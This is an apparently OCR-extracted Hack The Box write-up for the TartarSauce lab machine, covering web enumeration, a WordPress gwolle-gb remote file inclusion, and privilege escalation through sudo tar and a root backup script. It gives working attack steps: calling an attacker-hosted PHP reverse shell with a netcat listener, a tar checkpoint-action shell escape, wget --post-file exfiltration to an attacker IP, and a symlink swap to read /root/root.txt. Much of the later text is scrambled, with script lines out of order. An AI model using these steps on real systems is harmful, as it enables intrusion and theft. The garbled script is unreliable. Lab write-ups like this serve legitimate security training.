Nmap nmap -T5 -Pn -p- -A 10.10.10.88 STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) | http-robots.txt: 5 disallowed entries /webservices/tar/tar/source/ / /webservices/monstra-3.0.4/ /webservices/easy-file-uploader/ |_/webservices/developmental/ /webservices/phpmyadmin/ |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Landing Page We have some intresting directories. As we only have port 80 open, let's run Nikto, and let's run **dirbuster** in the background whilst we enumerate. Nikto nikto -h 10.10.10.88 Results: 1 + Cookie PHPSESSID created without the httponly flag 2 + Entry '/webservices/monstra-3.0.4/' in robots.txt returned a 3 non-forbidden or redirect HTTP code (200) 4 + "robots.txt" contains 5 entries which should be manually viewed. 5 + Server may leak inodes via ETags, header found with file /, inode: 2a0e, size: 565becf5ff08d, mtime: gzip + Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch. Let's go to: http://10.10.10.88/webservices/monstra-3.0.4/ /monstra Some of the top links don't work, but the middle ones do on the page. Let's go to the one that says 'Log In' ① ■ 10.10.10.88/webservices/monstra-3.0.4/a Training 🥄 Kali Tools 🥄 Kali Docs 🥄 Kali Forums 🥄 NetHunter **MÓNSTRA** Username Password Log In Back to Website - Forgot your password? @ 2012 - 2016 Monstra - Version 3.0.4 We'll try a couple things here: first, search for default creds; second, run some sql injections through burpsuite; third look for exploits for this service; ; and finally, try the 'forgot password' route. We wouldn't like to bruteforce this, as HTB doesn't typically resort to brute forcing. didn't find much for default creds sql injections didn't work either I found a couple of exploits but they didn't work unless we already had creds and the forgot password relied on a captcha out of scope. I don't like to brute force with automated tools, as it can fuck a box up. So, let's make a cup of coffee and get to work on manually trying usernames; password combinations lol the first combo I tried worked: admin; admin Monstra: Admin ... ⊍ ~ ☆ (i) 10.10.10.88/webservices/monstra-3.0.4/admin/index.php?id=dashboard Kali Linux 🥆 Kali Training 🥆 Kali Tools 🤏 Kali Docs 🦎 Kali Forums 🛝 NetHunter 🦷 Offensive Security 🦠 Exploit-DB 🔌 GHDB 👭 MSFU **MONSTRA** Dashboard Content ▼ admin 🕛 🕶 System ▼ Welcome back, admin Content Extends System Help **Pages** Settings Documentation **Blocks** Official Support Forum Themes Users Files Backups Snippets **Emails** Menu Information

TartarSauce

Page description (optional)

TartarSauce

Difficulty:

Points:

💍 Linux

10.10.10.88

Medium

30

Release: 12 May 2018

IP:

We can return back to our third option again, as there were exploits that needed creds. In kali, searchsploit monstra and look for exploits for our version 3.0.4 CMS 1.2.0 - 'login' SQL Injection CMS 1.2.1 - Multiple HTML Injection Vulnerabilities CMS 3.0.3 - Multiple Vulnerabilities CMS 3.0.4 - (Authenticated) Arbitrary File Upload / Re CMS 3.0.4 - Arbitrary Folder Deletion CMS 3.0.4 - Authenticated Arbitrary File Upload cms 3.0.4 - Persitent Cross-Site Scripting CMS < 3.0.4 - Cross-Site Scripting (1) CMS < 3.0.4 - Cross-Site Scripting (2) -Dev 3.0.4 - Cross-Site Request Forgery (Account Hijack Shellcodes: No Results trying these however is a rabbit hole. Let's go back to our directory busting **GoBuster**

Monstra was made by Sergey Romanenko and is maintained by Monstra Community / © 2012 - 2016 Monstra - Version 3.0.4 php/webapps/38769.txt php/webapps/37651.html php/webapps/39567.txt php/webapps/43348.txt php/webapps/44512.txt php/webapps/48479.txt php/webapps/44502.txt php/webapps/44855.py php/webapps/44646.txt php/webapps/45164.txt I thought this was a bit CTFy, or an overstep for a box rated at this low level. But you needed to find find /wp - for some reason. 💲 gobuster dir -u http://10.10.10.88/webservices -w /usr/share/SecLists/Discovery/Web-Content/common.txt -v | grep Found Found: /.htaccess (Status: 403)
Found: /.hta (Status: 403)
Found: /.htpasswd (Status: 403)
Found: /wp (Status: 301) /WP

http://10.10.10.88/webservices/wp/ 10.10.10.88 Enumerating around the source of the page, it xmlrpc.php came up, which has some exploits: https://medium.com/@the.bilal.rizwan/wordpress-xmlrpc-php-common-vulnerabilites-how-to-exploitthem-d8d3c8600b32. However this seemed like a rabbit hole. Let's scan the page with Kali's wordpress scanner: wpscan --url http://10.10.10.88/webservices/wp --enumerate p

/webservices/ in your original scan, and then choose to search in that directory in a seperate scan, with specific wordlists. If you didn't start a seperate scan that specified starting in /webservices, it wouldn't Iti:~/Downloads/tartarsauce\$ wpscan --url http://10.10.10.88/webservices/wp --enumerat WordPress Security Scanner by the WPScan Team Version 3.8.2 @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart i] Updating the Database ... Update completed. +] URL: http://10.10.10.88/webservices/wp/ [10.10.10.88] +] Started: Sun Jun 21 11:25:25 2020 Interesting Finding(s): +] Headers Interesting Entry: Server: Apache/2.4.18 (Ubuntu) Found By: Headers (Passive Detection) Confidence: 100% +] XML-RPC seems to be enabled: http://10.10.10.88/webservices/wp/xmlrpc.php Found By: Direct Access (Aggressive Detection) References: - http://codex.wordpress.org/XML-RPC_Pingback_API

https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_doshttps://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access +] http://10.10.10.88/webservices/wp/readme.html Found By: Direct Access (Aggressive Detection) Confidence: 100% It comes up with zero plugins, which is just too suspicous to me. So let's search for plugins aggressively: sudo wpscan --url http://10.10.10.88/webservices/wp --enumerate ap --plugins-detection aggressive +] akismet Location: http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/ Last Updated: 2020-06-04T17:21:00.000Z Readme: http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/readme.txt [!] The version is out of date, the latest version is 4.1.6 Found By: Known Locations (Aggressive Detection) - http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/, status: 200 Version: 4.0.3 (100% confidence) Found By: Readme - Stable Tag (Aggressive Detection) http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/readme.txt Confirmed By: Readme - ChangeLog Section (Aggressive Detection) - http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/readme.txt +] brute-force-login-protection Location: http://10.10.10.88/webservices/wp/wp-content/plugins/brute-force-login-protection/ Latest Version: 1.5.3 (up to date) Last Updated: 2017-06-29T10:39:00.000Z Readme: http://10.10.10.88/webservices/wp/wp-content/plugins/brute-force-login-protection/readme.txt Found By: Known Locations (Aggressive Detection) - http://10.10.10.88/webservices/wp/wp-content/plugins/brute-force-login-protection/, status: 403 Version: 1.5.3 (100% confidence) Found By: Readme - Stable Tag (Aggressive Detection) - http://10.10.10.88/webservices/wp/wp-content/plugins/brute-force-login-protection/readme.txt Confirmed By: Readme - ChangeLog Section (Aggressive Detection) - http://10.10.10.88/webservices/wp/wp-content/plugins/brute-force-login-protection/readme.txt +] gwolle-gb Location: http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/ Last Updated: 2020-05-15T14:11:00.000Z Readme: http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt [!] The version is out of date, the latest version is 4.0.2 Found By: Known Locations (Aggressive Detection) - http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/, status: 200 Version: 2.3.10 (100% confidence) Found By: Readme - Stable Tag (Aggressive Detection) http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt

Confirmed By: Readme - ChangeLog Section (Aggressive Detection) Googling the plugins, the first two don't have much promise. But that last one, gwolle-gb, seems decent. Let's go to the readme link and read whgat version we're on: http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt Again, this box was a bit too CTFy for my liking as evidenced by the author changing the version that a scanner would show. == Changelog == = 2.3.10 =2018-2-12 * Changed version from 1.5.3 to 2.3.10 to trick wpscan ; [Let's see what searchsploit has to say about **gwolle** Exploit Title Path php/webapps/38861.txt WordPress Plugin Guestbook 1.5.3 - Remote File Inclusion So there's a couple of parts to this exploit. 1. Create a php reverse shell and call it wp-load.php 2. Python host it, and prepare to copy the address i.e: http://10.10.x.x:8000/ 3. adapt the url path the exploit advises, specifically the first chunk. It should now read /webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php? abspath= 4. Fire up a netcat listener 5. Add your ip address to the end of ?abspath= . All together it should look like this: http://10.10.10.88/webservices/wp/wp-content/plugins/gwollegb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.14.24:8000/ You should have a shell waiting for you in your netcat listener. But don't worry if you don't. This exploit seems a little be precarious, and the hint that it's worked is if there's a GET request in your python server. **WWW-Data Shell** Upgrade it to a better shell by: python -c 'import pty; pty.spawn("/bin/bash")' Not able to get the user flag in this shell bucko! We have to priv esc before we priv esc.

Before we run any enumeariton scripts, let's go for the easy wins: sudo -l is always a good try. Matching Defaults entries for www-data on TartarSauce: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/sbin\:/sbin\:/snap/bin User www-data may run the following commands on TartarSauce: (onuma) NOPASSWD: /bin/tar I have no clue how to turn the tar command into a shell, so I turn to https://gtfobins.github.io It advises this command, but it failed the first time I tried it: sudo /bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh But once I had a think about it, I considered that I'm not trying to run as root, but as a specific user: onuma. So i need to add -u onuma sudo -u onuma /bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

www-data@TartarSauce:/\$ sudo -u onuma /bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh <ev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh</pre> /bin/tar: Removing leading `/' from member names \$ whoami whoami onuma Onuma Shell Upgrade the shell, go and get your user flag, and then come back for the priv esc. There's a shadow backup folder in the same directory as the user flag...I'm gonna have to ignore that for a second as I don't know what it means. **Enumeration scripts** Let's upload some enumeration scripts. Python host it on your kali, and then wget it to the victim machine. chmod + x the script. run the scripts and output it to a text file, so we can read it more carefully: ./LinEnum.sh > enum.txt You can read it in chunks via: more +20 enum.txt, and just keep pressing enter. I dunno what this is, but I haven't seen it before. NEXT LEFT LAST --More -- (14%) PASSED

ACTIVATES backuperer.service06-21 12:50:30 EDT 1min 52s -- More-- (14%) ago backuperer.timer Sun 2020-06-21 21:24:07 EDT 8h left Sun 2020-06-21 12:20:16 EDT 32min ago--More--(15%) --More--(72%) 72 Feb 17 2018 backuperer.service -rw-r--r-- 1 root root --More--(72%) 2018 backuperer.timer 254 Feb 16 -rw-r--r-- 1 root root **Backuperer** Let's have a look at what's going on with these: locate backuperer /etc/systemd/system/multi-user.target.wants/backuperer.timer /lib/systemd/system/backuperer.service /lib/systemd/system/backuperer.timer /usr/sbin/backuperer Let's go and see what info we get from them: onuma@lartarSauce:/etc/systemd/system/mult1-user.target.wants\$ cat backuperer.timer <emd/system/multi-user.target.wants\$ cat backuperer.timer</pre> [Unit] Description=Runs backuperer every 5 mins [Timer] # Time to wait after booting before we run first time

Time between running each consecutive time

cat backuperer.service

Description=Backuperer

my page. Let's use the wget command to send the file over to my kali.

Content-Type: application/x-www-form-urlencoded

backuperer ver 1.0.2 - by 3mrgue3

testmsg=\$bkpdir/onuma_backup_test.txt errormsg=\$bkpdir/onuma_backup_error.txt

ONUMA Dev auto backup program

ExecStart=/usr/sbin/backuperer

I want to view the last file, as it seems to detail the script that this all runs off. But it renders weird on

This tool will keep our webapp backed up incase another skiddie defaces us a

Copy and paste it into a file called backuperer.sh, and it will then highlight the colours and make this

backupscript.sh (~/Downloads/tartarsauce) - gedi

backups

6 # This tool will keep our webapp backed up incase another skiddie defaces us

6 tmpfile=\$tmpdir/.\$(/usr/bin/head -c100 /dev/urandom |sha1sum|cut -d' ' -f1)

in essence, every five minutes the backup process runs through, makes a copy of everything in html via

in essence, we can intercept the archiving in that temporary directory, unzip it, put our own command in

- like cat /root/root.txt - and then zip it back up, let the script take it, and it SHOULD give us back a root

flag. let's find out with an automated script that I borrowed from Reddit.

set both start and cur equal to any backup file if it's there

cur=\$(find /var/tmp -maxdepth 1 -type f -name ".*");

remove robots.txt and replace it with link to root.txt

ln -s /root/root.txt var/www/html/robots.txt

tail -f /var/backups/onuma_backup_error.txt

start=\$(find /var/tmp -maxdepth 1 -type f -name ".*") cur=\$(find /var/tmp -maxdepth 1 -type f -name ".*")

echo "Waiting for archive filename to change..." while ["\$start" == "\$cur" -o "\$cur" == ""] ; do

loop until there's a change in cur

Grab a copy of the archive

fn=\$(echo \$cur | cut -d'/' -f4)

rm var/www/html/robots.txt

put it back, and clean up

echo "Waiting for new logs..."

remove old archive

create new archive

wait for results

tar czf \$fn var

mv \$fn \$cur

rm -rf var

rm \$fn

echo "File changed... copying here"

the tar command. It then makes some temporary directory in /var/tmp/check, to see if the files

backed up are the same files that are being transfered to a new place to be backedup (confusing I

7 # We will be able to quickly restore from a backup in seconds ;P

~/Downloads

We will be able to quickly restore from a backup in seconds ;P

tmpfile=\$tmpdir/.\$(/usr/bin/head -c100 /dev/urandom |sha1sum|cut -d'

• in victim machine: /usr/bin/wget --post-file=/usr/sbin/backuperer 10.10.14.24

OnUnitActiveSec=5min Unit=backuperer.service

WantedBy=multi-user.target

on kali: sudo nc -nvlp 80

Accept-Encoding: identity

Connection: Keep-Alive

Content-Length: 1701

Accept: */*

#!/bin/bash

Set Vars Here

tmpdir=/var/tmp

formatting printbdr()

done

script easier to read

Open

again.

.0 # Set Vars Here

.3 tmpdir=/var/tmp

9 # formatting 0 printbdr()

1 {

72);

know).

.1 basedir=/var/www/html .2 bkpdir=/var/backups

.7 check=\$tmpdir/check

do /usr/bin/printf

Deciphering Backuperer

#!/bin/bash

cd /dev/shm

work out of shm

sleep 10;

done

cp \$cur .

get filename

tar -zxf \$fn

rm \$fn

extract archive

2 3 #-

1 #!/bin/bash

basedir=/var/www/html bkpdir=/var/backups

check=\$tmpdir/check

for n in \$(seq 72);

ø

4 # backuperer ver 1.0.2 - by 3μṛguͼ3

4 testmsg=\$bkpdir/onuma_backup_test.txt .5 errormsg=\$bkpdir/onuma_backup_error.txt

5 # ONUMA Dev auto backup program

do /usr/bin/printf \$"-";

Host: 10.10.14.24

[Unit]

[Service]

[Install]